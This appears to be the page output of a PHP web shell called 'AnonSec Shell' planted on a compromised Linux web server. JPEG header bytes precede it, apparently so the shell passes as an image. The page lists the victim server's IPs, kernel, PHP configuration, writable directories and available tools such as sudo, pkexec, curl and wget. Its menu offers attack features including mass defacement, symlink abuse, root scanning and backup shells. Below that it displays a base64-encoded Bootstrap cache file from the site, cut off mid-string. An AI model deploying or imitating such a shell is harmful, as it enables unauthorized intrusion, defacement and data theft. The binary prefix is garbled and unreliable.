JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 104.21.79.64  /  Your IP : 104.23.243.117   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/comcon24/cms/node_modules/.cache/babel-loader/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/comcon24/cms/node_modules/.cache/babel-loader/db70c7f00c3a3e58cae85c866e0302cb.json
{"remainingRequest":"/var/app/comcon24/cms/node_modules/thread-loader/dist/cjs.js!/var/app/comcon24/cms/node_modules/babel-loader/lib/index.js!/var/app/comcon24/cms/node_modules/bootstrap/js/src/tooltip.js","dependencies":[{"path":"/var/app/comcon24/cms/node_modules/bootstrap/js/src/tooltip.js","mtime":1729482253362},{"path":"/var/app/comcon24/cms/babel.config.js","mtime":1729482070524},{"path":"/var/app/comcon24/cms/node_modules/cache-loader/dist/cjs.js","mtime":1727535780436},{"path":"/var/app/comcon24/cms/node_modules/thread-loader/dist/cjs.js","mtime":1727535780458},{"path":"/var/app/comcon24/cms/node_modules/babel-loader/lib/index.js","mtime":1729482259283}],"contextDependencies":[],"result":[{"type":"Buffer","data":"base64:aW1wb3J0ICJjb3JlLWpzL21vZHVsZXMvZXMuZXJyb3IuY2F1c2UuanMiOwovKioKICogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICogQm9vdHN0cmFwICh2NS4wLjIpOiB0b29sdGlwLmpzCiAqIExpY2Vuc2VkIHVuZGVyIE1JVCAoaHR0cHM6Ly9naXRodWIuY29tL3R3YnMvYm9vdHN0cmFwL2Jsb2IvbWFpbi9MSUNFTlNFKQogKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogKi8KCmltcG9ydCAqIGFzIFBvcHBlciBmcm9tICdAcG9wcGVyanMvY29yZSc7CmltcG9ydCB7IGRlZmluZUpRdWVyeVBsdWdpbiwgZmluZFNoYWRvd1Jvb3QsIGdldEVsZW1lbnQsIGdldFVJRCwgaXNFbGVtZW50LCBpc1JUTCwgbm9vcCwgdHlwZUNoZWNrQ29uZmlnIH0gZnJvbSAnLi91dGlsL2luZGV4JzsKaW1wb3J0IHsgRGVmYXVsdEFsbG93bGlzdCwgc2FuaXRpemVIdG1sIH0gZnJvbSAnLi91dGlsL3Nhbml0aXplcic7CmltcG9ydCBEYXRhIGZyb20gJy4vZG9tL2RhdGEnOwppbXBvcnQgRXZlbnRIYW5kbGVyIGZyb20gJy4vZG9tL2V2ZW50LWhhbmRsZXInOwppbXBvcnQgTWFuaXB1bGF0b3IgZnJvbSAnLi9kb20vbWFuaXB1bGF0b3InOwppbXBvcnQgU2VsZWN0b3JFbmdpbmUgZnJvbSAnLi9kb20vc2VsZWN0b3ItZW5naW5lJzsKaW1wb3J0IEJhc2VDb21wb25lbnQgZnJvbSAnLi9iYXNlLWNvbXBvbmVudCc7CgovKioKICogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAqIENvbnN0YW50cwogKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICovCgpjb25zdCBOQU1FID0gJ3Rvb2x0aXAnOwpjb25zdCBEQVRBX0tFWSA9ICdicy50b29sdGlwJzsKY29uc3QgRVZFTlRfS0VZID0gYC4ke0RBVEFfS0VZfWA7CmNvbnN0IENMQVNTX1BSRUZJWCA9ICdicy10b29sdGlwJzsKY29uc3QgQlNDTFNfUFJFRklYX1JFR0VYID0gbmV3IFJlZ0V4cChgKF58XFxzKSR7Q0xBU1NfUFJFRklYfVxcUytgLCAnZycpOwpjb25zdCBESVNBTExPV0VEX0FUVFJJQlVURVMgPSBuZXcgU2V0KFsnc2FuaXRpemUnLCAnYWxsb3dMaXN0JywgJ3Nhbml0aXplRm4nXSk7CmNvbnN0IERlZmF1bHRUeXBlID0gewogIGFuaW1hdGlvbjogJ2Jvb2xlYW4nLAogIHRlbXBsYXRlOiAnc3RyaW5nJywKICB0aXRsZTogJyhzdHJpbmd8ZWxlbWVudHxmdW5jdGlvbiknLAogIHRyaWdnZXI6ICdzdHJpbmcnLAogIGRlbGF5OiAnKG51bWJlcnxvYmplY3QpJywKICBodG1sOiAnYm9vbGVhbicsCiAgc2VsZWN0b3I6ICcoc3RyaW5nfGJvb2xlYW4pJywKICBwbGFjZW1lbnQ6ICcoc3RyaW5nfGZ1bmN0aW9uKScsCiAgb2Zmc2V0OiAnKGFycmF5fHN0cmluZ3xmdW5jdGlvbiknLAogIGNvbnRhaW5lcjogJyhzdHJpbmd8ZWxlbWVudHxib29sZWFuKScsCiAgZmFsbGJhY2tQbGFjZW1lbnRzOiAnYXJyYXknLAogIGJvdW5kYXJ5OiAnKHN0cmluZ3xlbGVtZW50KScsCiAgY3VzdG9tQ2xhc3M6ICcoc3RyaW5nfGZ1bmN0aW9uKScsCiAgc2FuaXRpemU6ICdib29sZWFuJywKICBzYW5pdGl6ZUZuOiAnKG51bGx8ZnVuY3Rpb24pJywKICBhbGxvd0xpc3Q6ICdvYmplY3QnLAogIHBvcHBlckNvbmZpZzogJyhudWxsfG9iamVjdHxmdW5jdGlvbiknCn07CmNvbnN0IEF0dGFjaG1lbnRNYXAgPSB7CiAgQVVUTzogJ2F1dG8nLAogIFRPUDogJ3RvcCcsCiAgUklHSFQ6IGlzUlRMKCkgPyAnbGVmdCcgOiAncmlnaHQnLAogIEJPVFRPTTogJ2JvdHRvbScsCiAgTEVGVDogaXNSVEwoKSA/ICdyaWdodCcgOiAnbGVmdCcKfTsKY29uc3QgRGVmYXVsdCA9IHsKICBhbmltYXRpb246IHRydWUsCiAgdGVtcGxhdGU6ICc8ZGl2IGNsYXNzPSJ0b29sdGlwIiByb2xlPSJ0b29sdGlwIj4nICsgJzxkaXYgY2xhc3M9InRvb2x0aXAtYXJyb3ciPjwvZGl2PicgKyAnPGRpdiBjbGFzcz0idG9vbHRpcC1pbm5lciI+PC9kaXY+JyArICc8L2Rpdj4nLAogIHRyaWdnZXI6ICdob3ZlciBmb2N1cycsCiAgdGl0bGU6ICcnLAogIGRlbGF5OiAwLAogIGh0bWw6IGZhbHNlLAogIHNlbGVjdG9yOiBmYWxzZSwKICBwbGFjZW1lbnQ6ICd0b3AnLAogIG9mZnNldDogWzAsIDBdLAogIGNvbnRhaW5lcjogZmFsc2UsCiAgZmFsbGJhY2tQbGFjZW1lbnRzOiBbJ3RvcCcsICdyaWdodCcsICdib3R0b20nLCAnbGVmdCddLAogIGJvdW5kYXJ5OiAnY2xpcHBpbmdQYXJlbnRzJywKICBjdXN0b21DbGFzczogJycsCiAgc2FuaXRpemU6IHRydWUsCiAgc2FuaXRpemVGbjogbnVsbCwKICBhbGxvd0xpc3Q6IERlZmF1bHRBbGxvd2xpc3QsCiAgcG9wcGVyQ29uZmlnOiBudWxsCn07CmNvbnN0IEV2ZW50ID0gewogIEhJREU6IGBoaWRlJHtFVkVOVF9LRVl9YCwKICBISURERU46IGBoaWRkZW4ke0VWRU5UX0tFWX1gLAogIFNIT1c6IGBzaG93JHtFVkVOVF9LRVl9YCwKICBTSE9XTjogYHNob3duJHtFVkVOVF9LRVl9YCwKICBJTlNFUlRFRDogYGluc2VydGVkJHtFVkVOVF9LRVl9YCwKICBDTElDSzogYGNsaWNrJHtFVkVOVF9LRVl9YCwKICBGT0NVU0lOOiBgZm9jdXNpbiR7RVZFTlRfS0VZfWAsCiAgRk9DVVNPVVQ6IGBmb2N1c291dCR7RVZFTlRfS0VZfWAsCiAgTU9VU0VFTlRFUjogYG1vdXNlZW50ZXIke0VWRU5UX0tFWX1gLAogIE1PVVNFTEVBVkU6IGBtb3VzZWxlYXZlJHtFVkVOVF9LRVl9YAp9Owpjb25zdCBDTEFTU19OQU1FX0ZBREUgPSAnZmFkZSc7CmNvbnN0IENMQVNTX05BTUVfTU9EQUwgPSAnbW9kYWwnOwpjb25zdCBDTEFTU19OQU1FX1NIT1cgPSAnc2hvdyc7CmNvbnN0IEhPVkVSX1NUQVRFX1NIT1cgPSAnc2hvdyc7CmNvbnN0IEhPVkVSX1NUQVRFX09VVCA9ICdvdXQnOwpjb25zdCBTRUxFQ1RPUl9UT09MVElQX0lOTkVSID0gJy50b29sdGlwLWlubmVyJzsKY29uc3QgVFJJR0dFUl9IT1ZFUiA9ICdob3Zlcic7CmNvbnN0IFRSSUdHRVJfRk9DVVMgPSAnZm9jdXMnOwpjb25zdCBUUklHR0VSX0NMSUNLID0gJ2NsaWNrJzsKY29uc3QgVFJJR0dFUl9NQU5VQUwgPSAnbWFudWFsJzsKCi8qKgogKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICogQ2xhc3MgRGVmaW5pdGlvbgogKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICovCgpjbGFzcyBUb29sdGlwIGV4dGVuZHMgQmFzZUNvbXBvbmVudCB7CiAgY29uc3RydWN0b3IoZWxlbWVudCwgY29uZmlnKSB7CiAgICBpZiAodHlwZW9mIFBvcHBlciA9PT0gJ3VuZGVmaW5lZCcpIHsKICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcignQm9vdHN0cmFwXCdzIHRvb2x0aXBzIHJlcXVpcmUgUG9wcGVyIChodHRwczovL3BvcHBlci5qcy5vcmcpJyk7CiAgICB9CiAgICBzdXBlcihlbGVtZW50KTsKCiAgICAvLyBwcml2YXRlCiAgICB0aGlzLl9pc0VuYWJsZWQgPSB0cnVlOwogICAgdGhpcy5fdGltZW91dCA9IDA7CiAgICB0aGlzLl9ob3ZlclN0YXRlID0gJyc7CiAgICB0aGlzLl9hY3RpdmVUcmlnZ2VyID0ge307CiAgICB0aGlzLl9wb3BwZXIgPSBudWxsOwoKICAgIC8vIFByb3RlY3RlZAogICAgdGhpcy5fY29uZmlnID0gdGhpcy5fZ2V0Q29uZmlnKGNvbmZpZyk7CiAgICB0aGlzLnRpcCA9IG51bGw7CiAgICB0aGlzLl9zZXRMaXN0ZW5lcnMoKTsKICB9CgogIC8vIEdldHRlcnMKCiAgc3RhdGljIGdldCBEZWZhdWx0KCkgewogICAgcmV0dXJuIERlZmF1bHQ7CiAgfQogIHN0YXRpYyBnZXQgTkFNRSgpIHsKICAgIHJldHVybiBOQU1FOwogIH0KICBzdGF0aWMgZ2V0IEV2ZW50KCkgewogICAgcmV0dXJuIEV2ZW50OwogIH0KICBzdGF0aWMgZ2V0IERlZmF1bHRUeXBlKCkgewogICAgcmV0dXJuIERlZmF1bHRUeXBlOwogIH0KCiAgLy8gUHVibGljCgogIGVuYWJsZSgpIHsKICAgIHRoaXMuX2lzRW5hYmxlZCA9IHRydWU7CiAgfQogIGRpc2FibGUoKSB7CiAgICB0aGlzLl9pc0VuYWJsZWQgPSBmYWxzZTsKICB9CiAgdG9nZ2xlRW5hYmxlZCgpIHsKICAgIHRoaXMuX2lzRW5hYmxlZCA9ICF0aGlzLl9pc0VuYWJsZWQ7CiAgfQogIHRvZ2dsZShldmVudCkgewogICAgaWYgKCF0aGlzLl9pc0VuYWJsZWQpIHsKICAgICAgcmV0dXJuOwogICAgfQogICAgaWYgKGV2ZW50KSB7CiAgICAgIGNvbnN0IGNvbnRleHQgPSB0aGlzLl9pbml0aWFsaXplT25EZWxlZ2F0ZWRUYXJnZXQoZXZlbnQpOwogICAgICBjb250ZXh0Ll9hY3RpdmVUcmlnZ2VyLmNsaWNrID0gIWNvbnRleHQuX2FjdGl2ZVRyaWdnZXIuY2xpY2s7CiAgICAgIGlmIChjb250ZXh0Ll9pc1dpdGhBY3RpdmVUcmlnZ2VyKCkpIHsKICAgICAgICBjb250ZXh0Ll9lbnRlcihudWxsLCBjb250ZXh0KTsKICAgICAgfSBlbHNlIHsKICAgICAgICBjb250ZXh0Ll9sZWF2ZShudWxsLCBjb250ZXh0KTsKICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgaWYgKHRoaXMuZ2V0VGlwRWxlbWVudCgpLmNsYXNzTGlzdC5jb250YWlucyhDTEFTU19OQU1FX1NIT1cpKSB7CiAgICAgICAgdGhpcy5fbGVhdmUobnVsbCwgdGhpcyk7CiAgICAgICAgcmV0dXJuOwogICAgICB9CiAgICAgIHRoaXMuX2VudGVyKG51bGwsIHRoaXMpOwogICAgfQogIH0KICBkaXNwb3NlKCkgewogICAgY2xlYXJUaW1lb3V0KHRoaXMuX3RpbWVvdXQpOwogICAgRXZlbnRIYW5kbGVyLm9mZih0aGlzLl9lbGVtZW50LmNsb3Nlc3QoYC4ke0NMQVNTX05BTUVfTU9EQUx9YCksICdoaWRlLmJzLm1vZGFsJywgdGhpcy5faGlkZU1vZGFsSGFuZGxlcik7CiAgICBpZiAodGhpcy50aXApIHsKICAgICAgdGhpcy50aXAucmVtb3ZlKCk7CiAgICB9CiAgICBpZiAodGhpcy5fcG9wcGVyKSB7CiAgICAgIHRoaXMuX3BvcHBlci5kZXN0cm95KCk7CiAgICB9CiAgICBzdXBlci5kaXNwb3NlKCk7CiAgfQogIHNob3coKSB7CiAgICBpZiAodGhpcy5fZWxlbWVudC5zdHlsZS5kaXNwbGF5ID09PSAnbm9uZScpIHsKICAgICAgdGhyb3cgbmV3IEVycm9yKCdQbGVhc2UgdXNlIHNob3cgb24gdmlzaWJsZSBlbGVtZW50cycpOwogICAgfQogICAgaWYgKCEodGhpcy5pc1dpdGhDb250ZW50KCkgJiYgdGhpcy5faXNFbmFibGVkKSkgewogICAgICByZXR1cm47CiAgICB9CiAgICBjb25zdCBzaG93RXZlbnQgPSBFdmVudEhhbmRsZXIudHJpZ2dlcih0aGlzLl9lbGVtZW50LCB0aGlzLmNvbnN0cnVjdG9yLkV2ZW50LlNIT1cpOwogICAgY29uc3Qgc2hhZG93Um9vdCA9IGZpbmRTaGFkb3dSb290KHRoaXMuX2VsZW1lbnQpOwogICAgY29uc3QgaXNJblRoZURvbSA9IHNoYWRvd1Jvb3QgPT09IG51bGwgPyB0aGlzLl9lbGVtZW50Lm93bmVyRG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNvbnRhaW5zKHRoaXMuX2VsZW1lbnQpIDogc2hhZG93Um9vdC5jb250YWlucyh0aGlzLl9lbGVtZW50KTsKICAgIGlmIChzaG93RXZlbnQuZGVmYXVsdFByZXZlbnRlZCB8fCAhaXNJblRoZURvbSkgewogICAgICByZXR1cm47CiAgICB9CiAgICBjb25zdCB0aXAgPSB0aGlzLmdldFRpcEVsZW1lbnQoKTsKICAgIGNvbnN0IHRpcElkID0gZ2V0VUlEKHRoaXMuY29uc3RydWN0b3IuTkFNRSk7CiAgICB0aXAuc2V0QXR0cmlidXRlKCdpZCcsIHRpcElkKTsKICAgIHRoaXMuX2VsZW1lbnQuc2V0QXR0cmlidXRlKCdhcmlhLWRlc2NyaWJlZGJ5JywgdGlwSWQpOwogICAgdGhpcy5zZXRDb250ZW50KCk7CiAgICBpZiAodGhpcy5fY29uZmlnLmFuaW1hdGlvbikgewogICAgICB0aXAuY2xhc3NMaXN0LmFkZChDTEFTU19OQU1FX0ZBREUpOwogICAgfQogICAgY29uc3QgcGxhY2VtZW50ID0gdHlwZW9mIHRoaXMuX2NvbmZpZy5wbGFjZW1lbnQgPT09ICdmdW5jdGlvbicgPyB0aGlzLl9jb25maWcucGxhY2VtZW50LmNhbGwodGhpcywgdGlwLCB0aGlzLl9lbGVtZW50KSA6IHRoaXMuX2NvbmZpZy5wbGFjZW1lbnQ7CiAgICBjb25zdCBhdHRhY2htZW50ID0gdGhpcy5fZ2V0QXR0YWNobWVudChwbGFjZW1lbnQpOwogICAgdGhpcy5fYWRkQXR0YWNobWVudENsYXNzKGF0dGFjaG1lbnQpOwogICAgY29uc3QgewogICAgICBjb250YWluZXIKICAgIH0gPSB0aGlzLl9jb25maWc7CiAgICBEYXRhLnNldCh0aXAsIHRoaXMuY29uc3RydWN0b3IuREFUQV9LRVksIHRoaXMpOwogICAgaWYgKCF0aGlzLl9lbGVtZW50Lm93bmVyRG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNvbnRhaW5zKHRoaXMudGlwKSkgewogICAgICBjb250YWluZXIuYXBwZW5kQ2hpbGQodGlwKTsKICAgICAgRXZlbnRIYW5kbGVyLnRyaWdnZXIodGhpcy5fZWxlbWVudCwgdGhpcy5jb25zdHJ1Y3Rvci5FdmVudC5JTlNFUlRFRCk7CiAgICB9CiAgICBpZiAodGhpcy5fcG9wcGVyKSB7CiAgICAgIHRoaXMuX3BvcHBlci51cGRhdGUoKTsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuX3BvcHBlciA9IFBvcHBlci5jcmVhdGVQb3BwZXIodGhpcy5fZWxlbWVudCwgdGlwLCB0aGlzLl9nZXRQb3BwZXJDb25maWcoYXR0YWNobWVudCkpOwogICAgfQogICAgdGlwLmNsYXNzTGlzdC5hZGQoQ0xBU1NfTkFNRV9TSE9XKTsKICAgIGNvbnN0IGN1c3RvbUNsYXNzID0gdHlwZW9mIHRoaXMuX2NvbmZpZy5jdXN0b21DbGFzcyA9PT0gJ2Z1bmN0aW9uJyA/IHRoaXMuX2NvbmZpZy5jdXN0b21DbGFzcygpIDogdGhpcy5fY29uZmlnLmN1c3RvbUNsYXNzOwogICAgaWYgKGN1c3RvbUNsYXNzKSB7CiAgICAgIHRpcC5jbGFzc0xpc3QuYWRkKC4uLmN1c3RvbUNsYXNzLnNwbGl0KCcgJykpOwogICAgfQoKICAgIC8vIElmIHRoaXMgaXMgYSB0b3VjaC1lbmFibGVkIGRldmljZSB3ZSBhZGQgZXh0cmEKICAgIC8vIGVtcHR5IG1vdXNlb3ZlciBsaXN0ZW5lcnMgdG8gdGhlIGJvZHkncyBpbW1lZGlhdGUgY2hpbGRyZW47CiAgICAvLyBvbmx5IG5lZWRlZCBiZWNhdXNlIG9mIGJyb2tlbiBldmVudCBkZWxlZ2F0aW9uIG9uIGlPUwogICAgLy8gaHR0cHM6Ly93d3cucXVpcmtzbW9kZS5vcmcvYmxvZy9hcmNoaXZlcy8yMDE0LzAyL21vdXNlX2V2ZW50X2J1Yi5odG1sCiAgICBpZiAoJ29udG91Y2hzdGFydCcgaW4gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KSB7CiAgICAgIFtdLmNvbmNhdCguLi5kb2N1bWVudC5ib2R5LmNoaWxkcmVuKS5mb3JFYWNoKGVsZW1lbnQgPT4gewogICAgICAgIEV2ZW50SGFuZGxlci5vbihlbGVtZW50LCAnbW91c2VvdmVyJywgbm9vcCk7CiAgICAgIH0pOwogICAgfQogICAgY29uc3QgY29tcGxldGUgPSAoKSA9PiB7CiAgICAgIGNvbnN0IHByZXZIb3ZlclN0YXRlID0gdGhpcy5faG92ZXJTdGF0ZTsKICAgICAgdGhpcy5faG92ZXJTdGF0ZSA9IG51bGw7CiAgICAgIEV2ZW50SGFuZGxlci50cmlnZ2VyKHRoaXMuX2VsZW1lbnQsIHRoaXMuY29uc3RydWN0b3IuRXZlbnQuU0hPV04pOwogICAgICBpZiAocHJldkhvdmVyU3RhdGUgPT09IEhPVkVSX1NUQVRFX09VVCkgewogICAgICAgIHRoaXMuX2xlYXZlKG51bGwsIHRoaXMpOwogICAgICB9CiAgICB9OwogICAgY29uc3QgaXNBbmltYXRlZCA9IHRoaXMudGlwLmNsYXNzTGlzdC5jb250YWlucyhDTEFTU19OQU1FX0ZBREUpOwogICAgdGhpcy5fcXVldWVDYWxsYmFjayhjb21wbGV0ZSwgdGhpcy50aXAsIGlzQW5pbWF0ZWQpOwogIH0KICBoaWRlKCkgewogICAgaWYgKCF0aGlzLl9wb3BwZXIpIHsKICAgICAgcmV0dXJuOwogICAgfQogICAgY29uc3QgdGlwID0gdGhpcy5nZXRUaXBFbGVtZW50KCk7CiAgICBjb25zdCBjb21wbGV0ZSA9ICgpID0+IHsKICAgICAgaWYgKHRoaXMuX2lzV2l0aEFjdGl2ZVRyaWdnZXIoKSkgewogICAgICAgIHJldHVybjsKICAgICAgfQogICAgICBpZiAodGhpcy5faG92ZXJTdGF0ZSAhPT0gSE9WRVJfU1RBVEVfU0hPVykgewogICAgICAgIHRpcC5yZW1vdmUoKTsKICAgICAgfQogICAgICB0aGlzLl9jbGVhblRpcENsYXNzKCk7CiAgICAgIHRoaXMuX2VsZW1lbnQucmVtb3ZlQXR0cmlidXRlKCdhcmlhLWRlc2NyaWJlZGJ5Jyk7CiAgICAgIEV2ZW50SGFuZGxlci50cmlnZ2VyKHRoaXMuX2VsZW1lbnQsIHRoaXMuY29uc3RydWN0b3IuRXZlbnQuSElEREVOKTsKICAgICAgaWYgKHRoaXMuX3BvcHBlcikgewogICAgICAgIHRoaXMuX3BvcHBlci5kZXN0cm95KCk7CiAgICAgICAgdGhpcy5fcG9wcGVyID0gbnVsbDsKICAgICAgfQogICAgfTsKICAgIGNvbnN0IGhpZGVFdmVudCA9IEV2ZW50SGFuZGxlci50cmlnZ2VyKHRoaXMuX2VsZW1lbnQsIHRoaXMuY29uc3RydWN0b3IuRXZlbnQuSElERSk7CiAgICBpZiAoaGlkZUV2ZW50LmRlZmF1bHRQcmV2ZW50ZWQpIHsKICAgICAgcmV0dXJuOwogICAgfQogICAgdGlwLmNsYXNzTGlzdC5yZW1vdmUoQ0xBU1NfTkFNRV9TSE9XKTsKCiAgICAvLyBJZiB0aGlzIGlzIGEgdG91Y2gtZW5hYmxlZCBkZXZpY2Ugd2UgcmVtb3ZlIHRoZSBleHRyYQogICAgLy8gZW1wdHkgbW91c2VvdmVyIGxpc3RlbmVycyB3ZSBhZGRlZCBmb3IgaU9TIHN1cHBvcnQKICAgIGlmICgnb250b3VjaHN0YXJ0JyBpbiBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQpIHsKICAgICAgW10uY29uY2F0KC4uLmRvY3VtZW50LmJvZHkuY2hpbGRyZW4pLmZvckVhY2goZWxlbWVudCA9PiBFdmVudEhhbmRsZXIub2ZmKGVsZW1lbnQsICdtb3VzZW92ZXInLCBub29wKSk7CiAgICB9CiAgICB0aGlzLl9hY3RpdmVUcmlnZ2VyW1RSSUdHRVJfQ0xJQ0tdID0gZmFsc2U7CiAgICB0aGlzLl9hY3RpdmVUcmlnZ2VyW1RSSUdHRVJfRk9DVVNdID0gZmFsc2U7CiAgICB0aGlzLl9hY3RpdmVUcmlnZ2VyW1RSSUdHRVJfSE9WRVJdID0gZmFsc2U7CiAgICBjb25zdCBpc0FuaW1hdGVkID0gdGhpcy50aXAuY2xhc3NMaXN0LmNvbnRhaW5zKENMQVNTX05BTUVfRkFERSk7CiAgICB0aGlzLl9xdWV1ZUNhbGxiYWNrKGNvbXBsZXRlLCB0aGlzLnRpcCwgaXNBbmltYXRlZCk7CiAgICB0aGlzLl9ob3ZlclN0YXRlID0gJyc7CiAgfQogIHVwZGF0ZSgpIHsKICAgIGlmICh0aGlzLl9wb3BwZXIgIT09IG51bGwpIHsKICAgICAgdGhpcy5fcG9wcGVyLnVwZGF0ZSgpOwogICAgfQogIH0KCiAgLy8gUHJvdGVjdGVkCgogIGlzV2l0aENvbnRlbnQoKSB7CiAgICByZXR1cm4gQm9vbGVhbih0aGlzLmdldFRpdGxlKCkpOwogIH0KICBnZXRUaXBFbGVtZW50KCkgewogICAgaWYgKHRoaXMudGlwKSB7CiAgICAgIHJldHVybiB0aGlzLnRpcDsKICAgIH0KICAgIGNvbnN0IGVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdkaXYnKTsKICAgIGVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5fY29uZmlnLnRlbXBsYXRlOwogICAgdGhpcy50aXAgPSBlbGVtZW50LmNoaWxkcmVuWzBdOwogICAgcmV0dXJuIHRoaXMudGlwOwogIH0KICBzZXRDb250ZW50KCkgewogICAgY29uc3QgdGlwID0gdGhpcy5nZXRUaXBFbGVtZW50KCk7CiAgICB0aGlzLnNldEVsZW1lbnRDb250ZW50KFNlbGVjdG9yRW5naW5lLmZpbmRPbmUoU0VMRUNUT1JfVE9PTFRJUF9JTk5FUiwgdGlwKSwgdGhpcy5nZXRUaXRsZSgpKTsKICAgIHRpcC5jbGFzc0xpc3QucmVtb3ZlKENMQVNTX05BTUVfRkFERSwgQ0xBU1NfTkFNRV9TSE9XKTsKICB9CiAgc2V0RWxlbWVudENvbnRlbnQoZWxlbWVudCwgY29udGVudCkgewogICAgaWYgKGVsZW1lbnQgPT09IG51bGwpIHsKICAgICAgcmV0dXJuOwogICAgfQogICAgaWYgKGlzRWxlbWVudChjb250ZW50KSkgewogICAgICBjb250ZW50ID0gZ2V0RWxlbWVudChjb250ZW50KTsKCiAgICAgIC8vIGNvbnRlbnQgaXMgYSBET00gbm9kZSBvciBhIGpRdWVyeQogICAgICBpZiAodGhpcy5fY29uZmlnLmh0bWwpIHsKICAgICAgICBpZiAoY29udGVudC5wYXJlbnROb2RlICE9PSBlbGVtZW50KSB7CiAgICAgICAgICBlbGVtZW50LmlubmVySFRNTCA9ICcnOwogICAgICAgICAgZWxlbWVudC5hcHBlbmRDaGlsZChjb250ZW50KTsKICAgICAgICB9CiAgICAgIH0gZWxzZSB7CiAgICAgICAgZWxlbWVudC50ZXh0Q29udGVudCA9IGNvbnRlbnQudGV4dENvbnRlbnQ7CiAgICAgIH0KICAgICAgcmV0dXJuOwogICAgfQogICAgaWYgKHRoaXMuX2NvbmZpZy5odG1sKSB7CiAgICAgIGlmICh0aGlzLl9jb25maWcuc2FuaXRpemUpIHsKICAgICAgICBjb250ZW50ID0gc2FuaXRpemVIdG1sKGNvbnRlbnQsIHRoaXMuX2NvbmZpZy5hbGxvd0xpc3QsIHRoaXMuX2NvbmZpZy5zYW5pdGl6ZUZuKTsKICAgICAgfQogICAgICBlbGVtZW50LmlubmVySFRNTCA9IGNvbnRlbnQ7CiAgICB9IGVsc2UgewogICAgICBlbGVtZW50LnRleHRDb250ZW50ID0gY29udGVudDsKICAgIH0KICB9CiAgZ2V0VGl0bGUoKSB7CiAgICBsZXQgdGl0bGUgPSB0aGlzLl9lbGVtZW50LmdldEF0dHJpYnV0ZSgnZ